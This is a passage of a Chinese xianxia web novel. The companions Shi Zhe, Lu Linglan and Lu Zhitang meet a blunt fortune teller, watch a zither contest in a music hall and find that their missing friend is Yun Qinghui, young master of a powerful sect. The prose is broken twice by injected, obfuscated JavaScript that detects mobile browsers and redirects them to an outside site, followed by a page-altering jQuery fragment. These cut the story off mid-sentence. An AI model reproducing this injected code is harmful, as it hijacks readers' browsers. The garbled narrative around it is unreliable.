妇人脸色一阵青白，悻悻地起身走了。后面排队的一个老妇人立刻挤上前坐下，她愁容满面地问道： “仙师，仙师，求您给我算算，我儿子儿媳成亲都五年了，怎么还没个孩子？道观的送子娘娘也拜了，医师开的药也天天吃着，就是不见动静啊……” 这回，那修士终于缓缓睁开了眼睛，他的眼神淡漠，没有任何情绪，开口声音也平平无奇：“你儿子行事有亏，阴毒刻薄，损了阴德，命中注定无子，且将来也会穷困潦倒、一生碌碌无为，终老孤苦。” 老妇人一听，当即就要发怒骂人。那修士却不等她开口，目光转向一直默默站在老妇人身旁的年轻女子，说道： “不过你，命中有子。” 那女子睁大眼睛。 “命中有时终须有，命中无时莫强求，你早做打算为好。” 老妇人脸色瞬间大变，猛地站起身，怒骂了一句：“胡说八道的江湖骗子！” 便拽着还在发愣的儿媳，几乎是落荒而逃。 陆铃兰在一旁看得津津有味，觉得这修士说话虽不中听，却好像有点玄机。她一时兴起，也挤上前举手道：“我，我！仙师大师，我也想占卜！” 那修士冷眼瞧了她一下，没说话。 陆铃兰坐下来，兴奋地说：“我想问，这次灵溪论道，我能拿到名次吗？” 修士上下嘴唇一碰，冷冷吐出两个字：“不能。” 陆铃兰脸上兴奋瞬间垮掉，露出失望神色，但她没气馁，马上又问：“那我以后能成为名震一方的大符修吗？” 修士再次毫不犹豫地吐出两个字：“不能。” “什么，这也不能？”陆铃兰深受打击，不甘心地指着旁边的石蛰和陆知棠：“那我这两位朋友呢？他们将来能成为厉害的大修士吗？” “不能。” “什么？！” 陆铃兰几近崩溃，感觉修仙之路一片灰暗，他们都成不了大修士，那年迈之后，谁来罩着她啊？ “铃兰，铃兰……” 身后的石蛰实在看不下去了，一脸惨不忍睹地用力拉了拉她的衣袖，另一只手颤抖地指向那块“不喜者不卜”旁边立着另一块更小的木牌，上面写着四个字： 同行不卜。 陆铃兰：“……” 她瞬间哑火，讪讪地站起身，小声嘟囔：“你、你不给同行卜算，你早说嘛……” 她臊红了脸，拉着石蛰和陆知棠飞快地逃离了摊位。跑出一段距离后，她才猛地反应过来，又兀自高兴起来： “原来他是因为我们是修士，才故意那么说的！不是我们真的将来成不了大修士！” “可吓死我了！” 石蛰，陆知棠：“......” 24.再见云磬 街上的人越来越多，各式各样的活动也渐入高潮，喧闹之声不绝于耳。三人随着人流，时而驻足观看精彩的杂耍，时而凑热闹猜几个灯谜，倒也玩得兴致勃勃。 就在这时，前方人群忽然爆发出热烈的欢呼声，有人高声喊道：“快看，是赤霞峰的仙师！赤霞峰的仙师要开始表演法术了！” 三人也被这呼声吸引，好奇地挤进里三层外三层的人群，踮起脚尖向中央临时搭起的高台望去。 只见台上站着一位身着年轻女修，她一身火红色长裙，面容娇妍而肃穆，双手掐诀，口中喃喃念着法咒。 下一刻，三人眼前骤然一变，出现了一片无边无际、波光粼粼的蔚蓝海洋，海风轻柔拂面，甚至能闻到淡淡的咸腥气息，清澈的海水中还有色彩斑斓的鱼儿悠然嬉戏，栩栩如生。 “哇！”周围响起一片惊叹。 这幻象与他们当初参加青云山试徒大会第一关时的考验颇为相似，都是运用灵气构建逼真幻境。三人看了一会儿，新鲜感过去，便觉得有些乏味，渐渐失去了兴趣，准备挤出人群继续往前逛。 就在这时，从右侧方向隐约传来一阵清越婉转、如珠落玉盘般的乐声，那声音空灵悠远，穿透了街市的喧嚣，清晰地传入石蛰耳中。 是瑶筝。 石蛰的脚步猛地顿住。 这乐声他再熟悉不过，从前在小镇乐馆打杂帮工时，时常能听到馆里的乐师演奏。那悠扬又带着几分孤高的音色，勾起了石蛰回忆，他眼前浮现出那日在外门宿舍后的竹林里，他与云磬并肩而立，向他提起在乐馆的往事，说起过这瑶筝之声 淡淡惆怅涌上心头，也不知道云磬现在在哪里。 “小子！”陆通声音在脑海突然惊起： “醒醒，你中幻术了！” 此言一出，石蛰如同被冰水浇头，猛然一个激灵！ 下一秒，眼前的景象骤然消失，乐声悄然而去，喧哗噪音入耳，他赫然发现自己竟然还站在赤霞峰女修表演幻术的高台之下！ 身边的陆铃兰和陆知棠也是一脸恍惚茫然，显然中了幻术。 台上，那赤霞峰女修缓缓收起施法的手势，冰冷的眸光扫过台下三人，扭头干脆利落地下了台。 陆知棠吸了口气，惊魂未定地看向两位同伴：“你们是不是也中了幻术？” 陆铃兰：“是啊，我好像回了老家，阿爹阿娘正在门口笑着喊我回去吃饭。” 三人面面相觑，心中俱是震撼。 赤霞峰弟子的实力，确实非凡！ 那之后，不知道是想到了什么，三人都沉默了许多。 又走了一段路，经过一家装饰雅致的乐馆时，一阵清越悠扬的丝竹之声再次清晰地传入石蛰耳中。 有了方才经历，石蛰忍不住质疑自己，向同伴求证道：“你们听到乐声了吗？” “听到了。” “听到了。” 原来是真的，石蛰松了口气。 陆知棠察觉到迟疑神色，问道：“石蛰，你想进去看看吗？” 石蛰犹豫了一下，最终还是点了点头。 “那就进去看看吧。”说完，率先迈步。 三人进了乐馆，甫一踏入，三人就不由发出了惊叹。 只见乐馆内部宛若宫殿，穹顶高阔，悬挂着数盏巨大的、绘着工笔花鸟的琉璃宫灯，将整个大厅照耀得柔和而明亮。中央是一个中空拱起的圆台，台上几位乐师正专注地演奏着，方才他们在门外听到的悦耳乐曲正源于此。 台下错落有致地摆放着数十张铺着锦垫的檀木小几和软榻，已有不少客人坐在其中，或闭目欣赏，或低声交谈，气氛高雅而宁静。 空气中弥漫着淡淡的檀香、茶香以及一种若有若无的、属于乐器的木材清香，令人心神舒畅。 陆铃兰悄悄凑上来，小声说：“我们有钱在这儿消费么？” 陆知棠露出深思表情。 不吃不喝，应该不要钱吧？ 就在这时，台上的一曲终了。一位身着水绿色长裙、容貌俏丽的妙龄少女走到台前，朝着台下众人盈盈一礼，声音清脆悦耳： “诸位贵客，今日恰逢岳都盛会，四方英才荟聚。我们清音阁也想凑个热闹。” 她顿了顿，继续说道：“阁中珍藏有一把上好的乐器——” 说着，她伸手将旁边一架蒙着绸布的乐器上的遮盖一把掀开，露出里面一把造型古朴、木质温润的七弦琴。 “此琴名为‘岁友’，乃是由器修大师公输子前辈早年亲手所制，琴身取南海潮音木所制，坚润如玉，细腻如波，宛若肤肌。琴弦则是以成年金鳞蟒蜕皮时脱落的主筋，混合了北冥寒铁抽成的细丝，以秘法反复淬炼编织而成。坚韧无比，难以损毁。” “据闻公输子前辈铸造此琴时，正有挚友陪同身侧，抚琴相伴，故取名‘岁友’。” “今日，我清音阁愿以此琴会友，宝琴赠英才！规则很简单，任何人皆可上台，与此琴合奏，最终由阁内评判，谁的合奏最为动听、与‘岁友’最为契合，此琴便赠予谁！” 此言一出，台下顿时一片哗然，气氛瞬间热烈起来。立刻就有几个精通音律的年轻人站了起来，跃跃欲试：“请姑娘赐教！” 少女微微一笑，先行坐在琴前，纤指轻拨，一段清越如泉水流淌的乐声便从“岁友”弦上流淌而出。 “姑娘请赐教。” 第一位上台的是一位手持玉笛的年轻男子，他凝神静气，随着琴音的起伏开始吹奏笛子应和。 石蛰、陆知棠、陆铃兰三人面面相觑，他们都是乐盲，只觉得笛声和琴声都挺好听，但具体妙在何处，哪里契合哪里不足，完全听不出个所以然。 一曲终了，余音尚在梁间袅绕，少女含笑道：“公子笛音清越悠扬，气息绵长，指法娴熟，真若风拂玉林，让人耳目一新。” 男子含笑下台。 接下来上台的人手中执着一支紫竹洞箫。箫声呜咽低沉，与琴声相合，别有一番幽远深邃的意境。 第三人起身时，有些不好意思地拱手道：“在下未带乐器，可否借贵馆一埙？” 很快，有人递上一枚陶埙。 那人将埙凑到唇边，深吸一口气，一种苍凉古朴的音律缓缓响起，奇异地与那清越的琴声融合在一起，有种说不出的韵味。 石蛰听着，忍不住小声说：“我觉得这个埙声，最好听。” 二人赞同点头。 演奏完毕，那少女示意大家稍候，转身轻盈飞上二楼，进入一个垂着珠帘的雅间，低声向里面的人询问了几句，似乎在听取最终评判。 片刻后，她回到台上，朗声宣布：“经过评判，方才第三位以埙应和的公子，其音古朴苍劲，与‘岁友’清越空灵音质相辅相成，宛若天成，最为契合动听。恭喜这位公子，‘岁友’归您所有了！” 众人目光纷纷投向那位借埙演奏的男子，齐声恭喜。 然而，第一个上台吹笛子的那位男子却满脸不忿地站了起来，高声质疑道：“我不服！我的笛声明明更响亮悦耳，他的埙声呜呜咽咽，有何出色之处？你们这评判不公！莫非是早有内定？” 台上少女闻言，脸上的笑意淡去，神情依旧平静，语气却带着不容置疑的坚定： “这位公子，请慎言。” “我清音阁以音会友，规则公开，绝无偏私内定之说。音律之道，并非单以响亮悦耳论高下，更重意境相合、韵味相投。” “公允？我看未必！”那笛子男子冷哼一声，脸上傲气更盛： “你们可知我是谁？我乃九霄门道通真人座下亲传弟子！莫非你们清音阁连九霄门的面子也不给？” 这时，那位赢得“岁友”的吹埙男子站起身，似乎想打个圆场，和气地说道：“这位兄台，还请息怒，乐曲一道，各有偏好，我只是恰巧获胜......” 他不说话还好，一说话，正在气头上的男子更是怒火中烧，竟一把狠狠甩开他，同时“锵”地一声拔出腰间佩剑，一跃飞上高台，口中怒喝： “既然你们不公，这等破琴，留着也是污人耳目，不如让我毁了它！” 话音未落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来这间清音阁，竟是五大派之一的小玉仙宗门下产业！ 石蛰也是心头一惊，同时又觉得这声音有几分熟悉，他还没来得及细想，一人自雅间走出。 那人身着一袭月白色广袖长袍，肌肤如雪，怀抱一把灵光暗蕴的栗紫色古琴，发间白金两色玉冠垂下一串约两寸长的珠玉流苏，缀在乌黑的发间，随着他的动作轻轻摇曳，折射出自天窗而来的柔和而朦胧的光晕。 石陆三人缓缓张大了嘴巴。 那抚琴少女见他走出，连同其他人，慌忙垂首： “见过少宗主，属下无能，劳少宗主出手，罪该万死！” 三人嘴巴越张越大—— 还是少宗主！！！ 云清徽嗓音冷冽如冰：“你们九霄门的人，也敢在我小玉仙宗的地盘上撒野？是想挑起两派纷争么？” 那几个九霄门弟子闻言，吓得魂飞魄散，哪里还有先前的嚣张气焰，连忙挣扎着爬起来，顾不得身上疼痛，连声告饶： “误会，天大的误会！少宗主息怒，我等绝无此意！” “滚！” 云清徽薄唇轻启，吐出一个字，那几个九霄门弟子如蒙大赦，搀起那个还在吐血的同伴，狼狈不堪地迅速逃离了乐馆。 处理完闹事者，云清徽的目光转向那位吹埙男子，脸色稍霁： “若是九霄门的人为难于你，你可来寻我。” 那吹埙男子受宠若惊，深深一揖道：“多谢少宗主！” 处理完了所有事情，云清徽这才转身走回雅阁。 石蛰看着那道绝情离开的背影，心中骤然涌起一股难言的失落，又忍不住想，会不会是认错了，这小玉仙踪的少宗主只是恰好和云磬长得相像而已。 “那个——”陆铃兰也小声说：“那是云磬么？那不是吧？” 陆知棠一脸“我中午吃了什么，我为什么在这里”的恍惚表情。 “应该不是的。”少许之后，还是石蛰主动开口，他一脸决然表情帝说： “那怎么可能是云——” “三位——”然而，他话语还未说完，原先那位抚琴少女便已步履轻盈地走到他们面前，屈身盈盈一礼，柔声道：“少宗主有请。” 25.重新结为好友 雅阁之内，陈设极尽雅致。 香炉中袅袅升起淡雅的檀香，墙壁上挂着意境深远的山水画，桌椅皆是灵木所制，触手温润。小玉仙宗的少宗主刚将怀中那把灵光暗蕴的栗紫色古琴轻放在一旁的紫檀木琴架上，人还未及走回主位，便听到身后轻微的动静。他翩然回首望来。 高雅出尘脸上端着一抹清浅笑意，一双眼尾微挑、天然含情的桃花眼中仿佛盛着潋滟的春水波光，盈盈然地望向显得有些局促不安的三人。 石蛰只觉得胸口的心脏扑通扑通狂跳，几乎要撞出胸腔。 眼前这张脸，实在和云磬太过相似，不，几乎是一模一样！唯一的区别就在于云磬从未对他露出过如此温柔的笑容。 ——也不对，当初在安平村养伤的那段时日，云磬似乎偶尔对自己流露出类似的温和神色。 他的嗓子像是被什么东西死死堵住了，千言万语在喉头翻滚，嘴巴张阖好几次，那句“你是不是云磬”就是说不出口。 他还在挣扎踌躇，对面那清俊华美男子却率先打破了沉默。 “怎么了？不过数月未见，便认不得我了？还是说，在生我的气，不欲与我相认了？” 这话犹如石破天惊，猛地炸响在三人耳边！ 陆铃兰倒吸一口凉气，失声惊呼：“云磬？你真的是云磬？！” 云清徽脸上笑容加深几分，肯定地颔首： “是我。” 说罢，他含笑的目光缓缓转向愣在原地，仿佛石化了一般的石蛰，语气含着几分调笑： “怎么了石蛰，不认识我了？还是说，你还在气我当初不告而别？” 石蛰终于回过神来，他张开嘴，声音因极度震惊而变得磕磕绊绊：“你，你真的是云磬？可你怎么会是小玉仙宗的少宗主？” “那你当初为什么要隐瞒身份，加入青云山？” 对于这个必然会被问到的问题，云清徽似乎早已准备，他神色未变，刚欲开口，恰在此时，雅间的门被轻轻叩响，几名侍女端着精致的点心鱼贯而入，摆放在他们面前的小几上。 云清徽见状，暂时收住了话头，随意地摆了摆手，语气自然地说道： “说来话长，一边用些茶点，一边慢慢聊吧。” 三人的目光不由自主地投向案上精巧宛如艺术品般的点心，心中不约而同冒出一个念头： 少宗主请客，应该不要钱吧？ ...... ...... 屋内陷入宁静，唯有刚刚沸腾的茶汤氤氲出一股淡淡的幽兰清香，混合着醇厚微甘的普洱气息缓缓散开。 房间里，一时只听得到品茶声和小仓鼠般窸窸窣窣咬着糕点的动静。 石蛰偷偷打量着云清徽。 先前在青云山的时候，他就觉得那身朴素的弟子服衬不出云磬的气度，如今换上这身月白绸缎、银丝暗绣的华美衣袍，才真真切切能够展现出他的容姿清俊，让人看着都舒心不少。 这时，云清徽忽然抬眼，目光正捕捉到他偷瞄过去的视线，石蛰脸上一热，慌忙低下头。 陆知棠终于从最初的震惊中冷静下来，他深吸一口气，问出了最关键的问题：“云……少宗主，你既是小玉仙宗的少宗主，身份尊贵，当初为何要伪装成普通人，加入青云山做一个外门弟子？” 云清徽神色坦然，解释道：“此事关乎宗门机密。一名叛徒盗走了宗门重要秘籍，多方追查之下，线索指向他可能潜藏入了青云山境内。” 他顿了顿，继续道：“我自然可以正式照会青云山，要求协查搜捕。但若青云山爽快交人，自然最好。但若他们交不出人，我该如何判断，是青云山确实不知情，还是有意包庇隐藏？” “若是后者，贸然讨要，极易引发两派纷争，后果难料。故我才选择隐姓埋名，亲自潜入青云山，也正好调查叛徒是否和青云山有关。” 石蛰听得心惊，没想到这里面还牵扯着这样的宗门要事，紧张地问：“那结果如何？真是青云山藏了人吗？” 云清徽闻言，灿然一笑，那笑容瞬间驱散了他身上些许的清冷疏离： “一场误会而已，那叛徒亦是隐瞒身份潜入，青云山对此确不知情。” “那就好，那就好。”石蛰松了口气，又追问：“那叛徒抓到了吗？” “自然。” 云清徽颔首。关于叛徒之事，他并非信口雌黄，早在一个月前他便开始布局。 他心中有盘算：若这“石蛰”果真如书中预示那般身负大气运，遇事“逢凶化吉”，那自己便不再逆天而为，转而选择一种更和缓的方式与这位“天道之子”交好。 既是投资，自然需在对方尚未被师门、被各方大能青眼相加前施以援手，毕竟雪中送炭，远胜于锦上添花。为此，他方方面面都已筹划妥当。 压下心底的诸般谋算，云清徽转向石蛰，语气关切：“你的伤，都好了吗？”他指的是安平村对抗魔修时留下的伤势。 石蛰已经渐渐接受了云磬就是小玉仙宗少宗主这个事实，闻言点头： “都好了。” “那就好。” 云清徽的语气放得极柔，眼中神色流露出怀念般的笑意，尾音咬字清晰，仿佛带着一丝不易察觉的缱绻，轻轻落下。 “我原本加入青云山只为追查叛徒，但意外与你们相识相交，亦是缘分。” 他目光转向石蛰，变得格外深邃：“石蛰，你还记得么？我曾说过，那枚丹药，我会记在心里的。” 石蛰先是一愣，随即才想起那是第二次考核前，自己塞给他的一枚最普通的凝气丹。 他脸颊微热，涩然道：“不过是一枚最基础的丹药，以你身份，接触到的高级丹药不计其数，不必放在心上。” 云清徽却是摇头： “俗话说：患难见真情，贫贱识人心。” “当日我不过是一个普通至极的外门弟子，你们却愿真心待我，百般照拂我，这份情谊，我不会忘记。” 他目光扫过三人，最后又落回石蛰身上：“还是说，你们觉得我隐瞒身份，欺骗了你们，不想再与我这个‘骗子’做朋友了？” 陆铃兰心性最为坦诚直率，没有石蛰那么多复杂纠结的心思，闻言立刻摆手： “不会的不会的！你当时也是有苦衷的嘛，你都愿意认我们做朋友，我们当然还是朋友！” 陆知棠沉思片刻，也稳重开口：“朋友贵在知心，而非身份。只要少宗主不嫌我们依旧籍籍无名，修为低微，我们自然当你是朋友。” 云清徽便将目光投向石蛰：“那你呢，石蛰？” 石蛰左看看，右看看，发现只剩自己还没表态。他被三人齐刷刷的目光看得脸颊发烫，慌忙道： “我们当然是朋友了！” “那就好。”云清徽像是终于放下了什么心事般，露出了一个如释重负的的笑。 “是啊。” 陆知棠忽然接口，语气带着点意味深长：“石蛰自然是把你当朋友的。你不在的这段时日，他不知道多么惦记你。” 云清徽立刻看向石蛰，那双漂亮的眼睛里漾开了明显促狭的笑意，眼波流转间竟有几分风流意味： “哦？是这样的么，石蛰？” 只是想念朋友，明明是理所当然的事，可被陆知棠这么一说，又被云清徽用这样的眼神看着，石蛰不知为何只觉得脸蛋发烫得厉害，他支支吾吾正要开口，被陆铃兰抢先一步。 “对的对的，我们都很想你！” 陆知棠：“……” 见自己已与三人“重修旧好”，云清徽唇边扬起一抹几不可查的浅笑，道： “灵溪论道这几日，我都会在岳都。我就住在你们客栈旁边，届时我会去看你们比赛的。” 陆铃兰闻言，小声嘀咕了一句：“去看我们被你们小玉仙宗还有其他大门派的天才们暴打吗？” 云清徽被她的话逗笑，随口道：“那我就拭目以待了。” “……” 四人将话说开，虽然对云清徽这小玉仙宗少宗主的崭新身份还感到些许不真实，但总算是续上了前缘。对云清徽而言，初步目的已然达到。 “对了。” 他忽然想起什么，语气轻松地补充道：“还有件事骗了你们。其实我不叫‘云磬’，我的本名是云清徽。而且，我也不是二十一岁，今年已二十有六了。” 三人：“……” 信息量有点大，需要消化一下。 陆铃兰最先反应过来，嘟囔道：“算了算了，反正已经被骗了这么多了，名字和年龄而已，罢了罢了。” 陆知棠却忽然想起来一事，眉头微蹙，问道：“对了，之前我们在街上逛的时候，无论是丹砂铺还是酒楼，都有人抢先替我们付了账，是不是你安排的？” 云清徽坦然点头：“是我。” “那后来在护具店，茶楼里那个受惊的妇人，也是你安排的？” 云清徽再次点头，承认得干脆： “是。” “啊啊啊你——” 三人几乎同时伸出手指，震惊地指向他。千言万语话到嘴边，却说不出口。 半晌，三人终究还是“拿人手短”，讪讪地将手收了回去。 算了算了，今日大赦天下，前尘往事，全都算了！ 陆铃兰带着点别扭地开口：“那个，云，云……” “叫我清徽就好。”云清徽从善如流。 “好吧，云清徽——”陆铃兰鼓起勇气道：“我能不能在你的乐馆里面转转看看？这里太漂亮了！” “当然。”云清徽说着就要起身。 “啊，那个——” 石蛰忽然开口：“云，云清徽，我能跟你单独说会话么？” 云清徽心下微沉。 他隐姓埋名潜入青云山，对其他人而言或许只是身份上的欺瞒，但于石蛰——石蛰数次遇险，甚至险些丧命，自己却始终冷眼旁观，无动于衷，确实理亏。 他恐怕就是要问这个。 云清徽心思电转，但面上不显，依旧温和道：“好啊。” 陆知棠和陆铃兰对视一眼，默契地没有多问，乖乖起身走出了房间，并体贴地带上了门。 雅间内只剩下两人，空气中弥漫着淡淡的檀香和一丝不易察觉的紧张。 云清徽做足了心理准备，率先开口，声音平稳：“你想说什么？” 石蛰看着他，认真地问：“那日你离开青云山的时候，就已经抓到了那个叛徒，是么？” 云清徽没想到他先问的是这个，点头道：“是，一切顺利。” “那可有对你们小玉仙宗造成损害？” 云清徽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444826|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谨慎地回答：“虽有些损失，但问题不大。重点是清理门户，绝不能让他败坏宗门声誉，秘籍也未外流。” 石蛰点点头，似乎松了口气：“这我就放心了。” 云清徽看他不再说话，反而有些狐疑：“你，就只想问这个？” 被朱鬿抓走的事，魔修的事，他都不问么？ “小子，别问这些有的没的！”陆通在石蛰脑海里着急地催促：“快问他正事！当日那个魔修，是不是他所杀！” 石蛰神色一肃，转回正事： “还有一件事。当日我醒来后，听青云山的师叔说，那魔修是被一位金丹修士以高阶雷法击杀。那个人……就是你么？“ 云清徽看他果然问到这个，反而放下了心。 他按着早已准备好的说辞，从容道：“是我，但严格来说，也不全是我。” 他斟酌着语句：“你引开魔修后，我先是返回村子，让村长立刻组织村民疏散避难，以防魔修发狂屠村，又为师姐加固了防护结界，确保她安全无虞，之后才追上山。” “我赶到山上时，那魔修已然奄奄一息，失去了反抗能力，我才能趁机用高阶雷符给予致命一击。否则，必然不可能那么顺利。” “对了。”他话锋一转，又道： “我发现那魔修时，他周身气息异常涣散，仿佛被什么东西在极短时间内强行吸干了灵气，甚是古怪。你知道这是怎么回事吗？” 石蛰心里咯噔一下，立刻支支吾吾起来：“有、有么？” “我中途就晕过去了。” “不是很清楚……” 云清徽一双漂亮的眼睛写满疑惑，一错一错地看着他，仿佛期待他的解惑。 “算了算了！” 陆通在石蛰脑海里连连叫道：“这事不能再深究了，就当是你们两个联手杀了魔修，糊弄过去！” 石蛰也正有此意，他慌忙道：“呃，那个……说不定是那魔修作恶多端，老天爷都看不过去，降下天罚收了他呢？不管是谁杀了他，总之那魔修死有余辜，我们就不要再深究了吧！” 云清徽看着他慌乱掩饰的模样，唇角含起一抹深沉笑意，从善如流地点头： “正有此意。” 此事告一段落，屋内两盏青铜莲鹤落地灯发出的柔和，跳跃的光晕落在青年细腻如冷玉的肌肤上，仿佛清风徐徐揉开一池春水。 乌黑如墨的发丝垂落两肩，目之所及皆是清冷莹润的白，唯有一点唇色绯然点缀。 再往上，一双天然含情的桃花眼映照着跳动的烛火，仿佛碎金落入深潭，波光流转间，潋滟生辉，竟有种勾魂摄魄的瑰丽。 石蛰不知为何，脸蛋发烧，他腾地站起身，有些仓促地道： “我想问的都问完了，我去找陆知棠他们。” 他飞快推开房门，一只脚已经迈了出去，却忽然顿住，回过头，声音不大却清晰地说了一句： “你穿这身衣裳很好看。” 说完，不待云清徽反应，飞快溜走了。只留下云清徽独自一人在雅间内，茫然地看了眼自己身上普普通通的衣裳，难得地露出一丝迷茫： “啊？” —— 回去的路上，夜风清凉，星辰漫天，热闹的花灯会已经散了场。 陆铃兰一路蹦蹦跳跳，踩着地上不规则的石板缝隙玩着跳格子，嘴里叽叽喳喳说着： “没想到云……云清徽居然是小玉仙宗的少宗主！那可是五大派之一的小玉仙宗啊！天哪，我之前想都不敢想，居然能和这样的人物一起砍过柴、挑过水！” 陆知棠相对沉稳些，但也难掩感慨：“确实，他将身份隐藏得如此之深，实在令人意想不到。” 陆铃兰忽然嘿嘿一笑，扭过头，眼睛闪亮亮地道： “不过，能够和小玉仙宗的少宗主交上朋友，我们以后总会有点好处的吧？说不定逢年过节，他还会给我们送礼物呢！” “嘿嘿，那我可就不客气了，我要狮子大开口，要好多好多上品符纸和顶级丹砂！哎，你说，我现在要是把那盒‘碧海鲛砂’买了，他会帮我付钱么……” 陆知棠有一耳朵没一耳朵地听着，目光却落在了一旁始终沉默不语的石蛰身上。他放缓脚步，拍了拍石蛰的肩膀： “在想什么？” 石蛰猝然回神，像是被从纷乱的思绪中惊醒。他犹犹豫豫地开口： “虽然云，云清徽他说还愿意和我们当朋友，但他毕竟是小玉仙宗的少宗主，身份天差地别。日后他既要处理门派事务，自身修行也不能落下……哪里还会有多少空闲与我们见面？这份友谊，又能维持多久呢？” 陆知棠闻言，露出些许惊讶，似是没想到石蛰会想到这么远，但他很快豁达一笑： “我在老家时听闻，即便是结发夫妻，都有合离各自飞的呢。世间之事，谁能说得准将来？不管未来如何，至少此时此刻，我们还坐在一处喝茶谈笑，他还认我们是朋友，这不就够了吗？” 石蛰怔了怔，随即像是被点醒了一般，眼中的迷茫渐渐散去，用力点了点头：“你说得对！既是朋友，就当以真心换真心，坦然相处。未来的事，何必自寻烦恼，多想无益！” 三人相视而笑，此刻心中都充满了与好友重逢的纯粹喜悦，那一点点因身份差距而产生的隔阂与忧虑，暂时被抛到了脑后。